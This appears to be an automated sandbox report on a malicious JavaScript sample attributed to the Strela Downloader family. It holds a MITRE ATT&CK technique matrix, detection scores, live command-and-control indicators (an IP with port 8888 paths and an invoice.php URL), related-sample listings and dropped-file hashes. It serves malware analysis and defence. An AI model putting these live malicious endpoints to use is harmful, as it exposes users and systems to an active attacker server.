Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24928193762733825739.js	3%	Virustotal		Browse
24928193762733825739.js	3%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.2058888/W	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/I	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Q	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/G	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/A	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/M	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/I	net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000B.00000003.2477062159.0000018E41D70000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	false		high
http://crl.ver)	svchost.exe, 0000000B.00000002.3656788843.0000018E42000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.11.dr	false		high
http://193.143.1.2058888/W	net.exe, 00000008.00000002.2458267893.0000023327648000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/G	net.exe, 00000008.00000002.2458267893.0000023327648000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000008.00000002.2458267893.00000233276A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2458267893.0000023327648000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/A	net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/Q	net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/M	net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588094
Start date and time:	2025-01-10 21:19:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24928193762733825739.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 162.159.61.3, 172.64.41.3, 23.209.209.135, 2.23.242.162, 2.16.168.107, 2.16.168.105, 20.190.160.14, 20.223.35.26, 2.23.227.208, 4.175.87.197, 20.103.156.88, 104.126.112.182, 2.23.227.215, 150.171.28.10, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, tse1.mm.bing.net, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, login.live.com, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, client.wns.windows.com, fs.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
15:20:24	API Interceptor	33x Sleep call for process: powershell.exe modified
15:20:30	API Interceptor	1x Sleep call for process: net.exe modified
15:20:32	API Interceptor	2x Sleep call for process: svchost.exe modified
15:20:39	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	FUEvp5c8lO.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	13.107.246.45
	http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	Bontrageroutdoors_Project_Update_202557516.pdf	Get hash	malicious	Unknown	Browse	13.107.246.45
	AuKUol8SPU.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://probashkontho.com/work/Organization/privacy/index_.html	Get hash	malicious	Unknown	Browse	13.107.246.45
	ZV2G9QQzlR.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	OVZizpEU7Q.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	xrAlbTvRsz.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	Xf3rn1smZw.exe	Get hash	malicious	RedLine	Browse	13.107.246.45
bg.microsoft.map.fastly.net	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
ax-0001.ax-msedge.net	299273933818721331.js	Get hash	malicious	Strela Downloader	Browse	150.171.28.10
	lock.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	nested-Please Review%3A].eml	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://atozpdfbooks.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://infarmbureau.com	Get hash	malicious	Unknown	Browse	150.171.27.10
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	150.171.28.10
	https://we.tl/t-fnebgmrnYQ	Get hash	malicious	Unknown	Browse	150.171.28.10
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxteRO-2BqdkFdZns7E8OZ0trgZRhaAY0f4dRd5bGXo8w1-2B5SPZj6mt6bkINmYNA1f4blf-2F2qp6pSrdQgqdtKPVZlFfsGiBd9L9S-2BVNmfUTaZ-2Bp0zWbjdQ23pm6OHkVsvPYDi1myQ0pU4BHbfSebmhjQAIDDVMgAvG7Znw7Pr8RLFA8HEKUDF6j4JiiZ3slfATgGRu3-2BdlWbffHNdZW8UBc7QW6Nxd08b90zhz6-2FhInZrSp1J-2Fh9yU6gsolKI10c6pp1uA-2FrYRI2h9aMn65O5NvFrP-2Fc-2BjlCyvznYBIXNfkBGEguSmRbREbgogGbx0CjJc9kfZpcF-2F4T3W7floa7RxJ5-2BKjbFDYD7FnGxTCmOAt-2BDLn5J0y5KvJMT3qFWKyQo5DJ5ru0B7ksJyMiI6L18xz5XP2GRtxbC7dwfszL4xopys7uMk6wzOFXTrTU9jYi2ZvQxqCtOzUddy1WGVe8msfQF8x3k3Ejw4p6mGzrKR8wOZXnO3uVw5n8j0tNkc31-2F1y7FsWAGygTmAHNV4DJiUXG3-2Foq61jCXRLG1PMMCZ97ToDeMjE9XjfX-2Bb4NXrzqR3tgw-3D-3DwyWG_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419Oh5WFVYobMs1ROnIPWGGcLQ6-2Bsxhj60Ehn0XDEyVD6MCEZ1gioYU2lwgwkCuP2dHRX-2FYdZnQ31dEdwKW37GtXYj9HmZ1F0YrZWwSELmaO5K7noqwYAhu2QGcGqOtQYdjShoJMVTWOe6BTzZXQxib8Y6rd4SX-2BUwZMt-2BbgPIpal6PcS8i4PCSiFy8RF-2Ftt22Wpj713n23BIU6an4375YDP3	Get hash	malicious	Unknown	Browse	150.171.28.10
	http://api.myuhchvision.com/	Get hash	malicious	Unknown	Browse	150.171.27.10
	http://www.oneroguereporter.com/gks	Get hash	malicious	Unknown	Browse	150.171.27.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	24108325173196611859.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19321276562420914470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	49441311255025245.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2091470502273216855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	138505539275318569.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	677073752851910183.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	296419801857622488.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2906816133204732533.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	741645402364914803.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263241274767323
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0e:9JZj5MiKNnNhoxuz
MD5:	CD16AD0179BA10A46B9DD39F8D786FFF
SHA1:	38F0EA945C439E0E7F5A0C6C7268033A9069BDA8
SHA-256:	8B7817DAC11BAA3E1C6C8EDE88E2346E4C35E1830601DF951E505C77872DE518
SHA-512:	9C8FEA190A8E614DB3EF318816BDF9B990052C6DEEBFB0C2B0F948C51C32AC5BF38CED341C3B44733953FFE4AB2F843E59ABA3F0DF5A2FB1939B7FC11A719650
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x039a3d30, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555471190491315
Encrypted:	false
SSDEEP:	1536:1SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:1azaSvGJzYj2UlmOlOL
MD5:	D01862751145831222B22DCD703F0940
SHA1:	8C9E2F207D967DE349C8018FF22096FF0CF13501
SHA-256:	BF8667370050ACAB8F6882CA9FC09DA129E71875C25D409FEB220336301BA99F
SHA-512:	00D261F25287DEFCB120AFEAB7F0CA3BEE54831768EE983CD59CE2787A593A14B133C4A3F368C1FB62C3C4719E20640883FEDF284A0F06583803A060CB18F33E
Malicious:	false
Preview:	..=0... .......7.......X\...;...{......................0.e......!...{?. ....}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................M. ....}...................g. ....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07808448307469026
Encrypted:	false
SSDEEP:	3:j9O/yYey6aANaAPaU1lDXStilluxmO+l/SNxOf:B+yztNDPaUDGGgmOH
MD5:	A9CFA6CB0A5CDF0A284C2B3125888122
SHA1:	0882F6591C60FA0751F6E760416823B1BA2F8633
SHA-256:	4E9107E582CC7FECBA66B86ABB9144635DEFD90B9EF36743468577F34228BE92
SHA-512:	720966E2D126C9511E319C45B999818FC5043505139F2B28822D27E28102D97256D6560D734BCCD812C01B796464AA55BC5D153F8C11D20374183D23BB52F285
Malicious:	false
Preview:	...&.....................................;...{.. ....}...!...{?..........!...{?..!...{?..g...!...{?...................g. ....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.134430546468476
Encrypted:	false
SSDEEP:	6:iO4S1ZIq2PN72nKuAl9OmbnIFUtSS1sV9ZmwsS1sVPkwON72nKuAl9OmbjLJ:7jIvVaHAahFUt0V9/6VP5OaHAaSJ
MD5:	C39E0766E401D8D891AE2B6E7D4C357E
SHA1:	ED72D0A7D9CAE1D73C11556370D24D55F17D01B0
SHA-256:	C0AAB5CEE0D36D98B77F89BDB0ADF8B28FB7DC6CF17A7C11FFB2C38099FC9F24
SHA-512:	D4EB44EC3B7EB7A11476BC0F4A5C6AE9446CA10E7F9CB24413E49978D889610A28BA44792E120A265087867BD897870596ECF75977011D179E988C7BA3B4B40C
Malicious:	false
Preview:	2025/01/10-15:20:32.153 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:20:32.158 804 Recovering log #3.2025/01/10-15:20:32.158 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.134430546468476
Encrypted:	false
SSDEEP:	6:iO4S1ZIq2PN72nKuAl9OmbnIFUtSS1sV9ZmwsS1sVPkwON72nKuAl9OmbjLJ:7jIvVaHAahFUt0V9/6VP5OaHAaSJ
MD5:	C39E0766E401D8D891AE2B6E7D4C357E
SHA1:	ED72D0A7D9CAE1D73C11556370D24D55F17D01B0
SHA-256:	C0AAB5CEE0D36D98B77F89BDB0ADF8B28FB7DC6CF17A7C11FFB2C38099FC9F24
SHA-512:	D4EB44EC3B7EB7A11476BC0F4A5C6AE9446CA10E7F9CB24413E49978D889610A28BA44792E120A265087867BD897870596ECF75977011D179E988C7BA3B4B40C
Malicious:	false
Preview:	2025/01/10-15:20:32.153 804 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-15:20:32.158 804 Recovering log #3.2025/01/10-15:20:32.158 804 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.146238243547621
Encrypted:	false
SSDEEP:	6:iO4S1n5mlyq2PN72nKuAl9Ombzo2jMGIFUtSS1n711ZmwsS1nuRkwON72nKuAl97:7zKyvVaHAa8uFUtT/wR5OaHAa8RJ
MD5:	67A64AA96E972401AC00EE7BB17978A1
SHA1:	B60EE45179A474938FCACB607AE98CD5B3FD8DB1
SHA-256:	4E420A4664F29F34592446CED7CCA93589F13837BA8F918C1FB1FBFB2F459854
SHA-512:	F733CA4900C45E862E353F51AFD18BF741508F1F9F8200C128FCB1FDC4ABEA963EB3836679C931225177B1047A6B53F0AE34D6FD2AD76093A6B5CD17CFA4A8F3
Malicious:	false
Preview:	2025/01/10-15:20:32.162 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:20:32.163 1c74 Recovering log #3.2025/01/10-15:20:32.164 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.146238243547621
Encrypted:	false
SSDEEP:	6:iO4S1n5mlyq2PN72nKuAl9Ombzo2jMGIFUtSS1n711ZmwsS1nuRkwON72nKuAl97:7zKyvVaHAa8uFUtT/wR5OaHAa8RJ
MD5:	67A64AA96E972401AC00EE7BB17978A1
SHA1:	B60EE45179A474938FCACB607AE98CD5B3FD8DB1
SHA-256:	4E420A4664F29F34592446CED7CCA93589F13837BA8F918C1FB1FBFB2F459854
SHA-512:	F733CA4900C45E862E353F51AFD18BF741508F1F9F8200C128FCB1FDC4ABEA963EB3836679C931225177B1047A6B53F0AE34D6FD2AD76093A6B5CD17CFA4A8F3
Malicious:	false
Preview:	2025/01/10-15:20:32.162 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-15:20:32.163 1c74 Recovering log #3.2025/01/10-15:20:32.164 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.954425337809517
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWRKhsBdOg2HSAcaq3QYiubcP7E4T3y:Y2sRdsHhdMHC3QYhbA7nby
MD5:	7F0D424711A530DD16DFDE4ACA752C3E
SHA1:	60875D7FFF68E5F43CB81D259FF2039587522FA2
SHA-256:	5496393E02A599C6A0BBF13901039B4269F9C2F292455E1BB70783D618F773FE
SHA-512:	8987EDD6C0F0C3790E5C3E65F5C454DC9452310E954F27D2812F1D0D3133642C7AE0B3748FE20CCC68C395B52C3C667EB6BA4D544626597C2CFBC219C8B5AB23
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100442682424","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c1a420b4-e574-42f7-8f83-1d81cce759b3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.954425337809517
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWRKhsBdOg2HSAcaq3QYiubcP7E4T3y:Y2sRdsHhdMHC3QYhbA7nby
MD5:	7F0D424711A530DD16DFDE4ACA752C3E
SHA1:	60875D7FFF68E5F43CB81D259FF2039587522FA2
SHA-256:	5496393E02A599C6A0BBF13901039B4269F9C2F292455E1BB70783D618F773FE
SHA-512:	8987EDD6C0F0C3790E5C3E65F5C454DC9452310E954F27D2812F1D0D3133642C7AE0B3748FE20CCC68C395B52C3C667EB6BA4D544626597C2CFBC219C8B5AB23
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381100442682424","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":142499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.25126232441711
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7OlAKL:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhc
MD5:	E90AF420B0F9F7FE3B03E4CDD9F7F3D0
SHA1:	18EC16EB3922BA6255700F16C0557C8F6ED13130
SHA-256:	416EFE6A03BB60EF1C30C9292B5CD9E3A81F0DF58B4B65E02B33C6F219B816E9
SHA-512:	F3E958775FC6A57D069D84B7C1EBDA97D0BE4AE40ABAC447DC9744E0059F340DA7F791E200B37C20633606E71126D23A9BD5B848D5B60838061632182641E9F9
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.163341861159174
Encrypted:	false
SSDEEP:	6:iO4S1Ipyq2PN72nKuAl9OmbzNMxIFUtSS1Ifmz1ZmwsS1MRkwON72nKuAl9OmbzE:7eyvVaHAa8jFUtAmZ/2R5OaHAa84J
MD5:	7D28FCB2D48C3DE276EBD8A95AC9E46E
SHA1:	BE8E9D2C55E569F23823E640B91F0F665226A88F
SHA-256:	B14CB16DD9003D0FEE9473208BB090ACB7879E85D344594BDBFE174E188CED02
SHA-512:	CF413886CC615CFE5050D977609E50312EF8A1C784066E96C649E6EA9838683F36C6DE33EEACF7A0CD2A50CC9F918BCED6B8810CE4B744000A9771165A3D9A05
Malicious:	false
Preview:	2025/01/10-15:20:32.614 1c74 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-15:20:32.617 1c74 Recovering log #3.2025/01/10-15:20:32.618 1c74 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.163341861159174
Encrypted:	false
